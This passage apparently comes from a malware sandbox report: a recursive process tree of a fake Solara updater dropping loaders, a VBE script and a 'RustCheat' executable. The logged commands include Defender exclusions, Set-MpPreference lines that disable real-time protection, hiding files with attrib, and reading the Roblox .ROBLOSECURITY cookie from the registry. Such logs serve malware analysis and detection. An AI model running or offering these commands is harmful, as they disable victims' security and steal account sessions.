C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory23⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid23⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER23⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name23⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause23⤵
-
C:\Windows\system32\PING.EXEping localhost24⤵
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"21⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"22⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "23⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"24⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"21⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"22⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"22⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"23⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "24⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"25⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"22⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"23⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"23⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"24⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "25⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"26⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"23⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"24⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"24⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"25⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "26⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"27⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"24⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"25⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"25⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"26⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "27⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"28⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"25⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"26⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"26⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"27⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "28⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"29⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"26⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"27⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"27⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"28⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "29⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"30⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"27⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"28⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"28⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"29⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "30⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"31⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"28⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"29⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"29⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"30⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "31⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"32⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"29⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"30⤵
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"31⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"31⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"30⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"31⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "32⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"33⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"30⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"31⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"31⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"32⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "33⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"34⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"31⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"32⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"32⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"33⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "34⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"35⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"32⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"33⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"33⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"34⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "35⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV136⤵
-
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"36⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"33⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"34⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"34⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"35⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "36⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"37⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"34⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"35⤵
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"36⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"36⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"35⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"36⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "37⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"38⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"35⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"36⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"37⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"37⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid38⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"38⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'38⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 238⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY38⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY38⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption38⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory38⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid38⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER38⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name38⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause38⤵
-
C:\Windows\system32\PING.EXEping localhost39⤵
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"36⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"37⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "38⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"39⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"36⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"37⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"37⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"38⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "39⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"40⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"37⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"38⤵
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"39⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"39⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"38⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"39⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "40⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"41⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"38⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"39⤵
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"40⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"40⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid41⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"41⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'41⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 241⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY41⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY41⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV142⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption41⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory41⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid41⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER41⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV142⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name41⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause41⤵
-
C:\Windows\system32\PING.EXEping localhost42⤵
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"39⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"40⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "41⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"42⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"39⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"40⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"40⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"41⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "42⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"43⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"40⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"41⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"41⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"42⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "43⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"44⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"41⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"42⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"42⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"43⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "44⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"45⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"42⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"43⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"43⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"44⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "45⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"46⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"43⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"44⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"44⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"45⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "46⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"47⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"44⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"45⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"45⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"46⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "47⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"48⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"45⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"46⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"46⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"47⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "48⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"49⤵
-
-
-
-
-
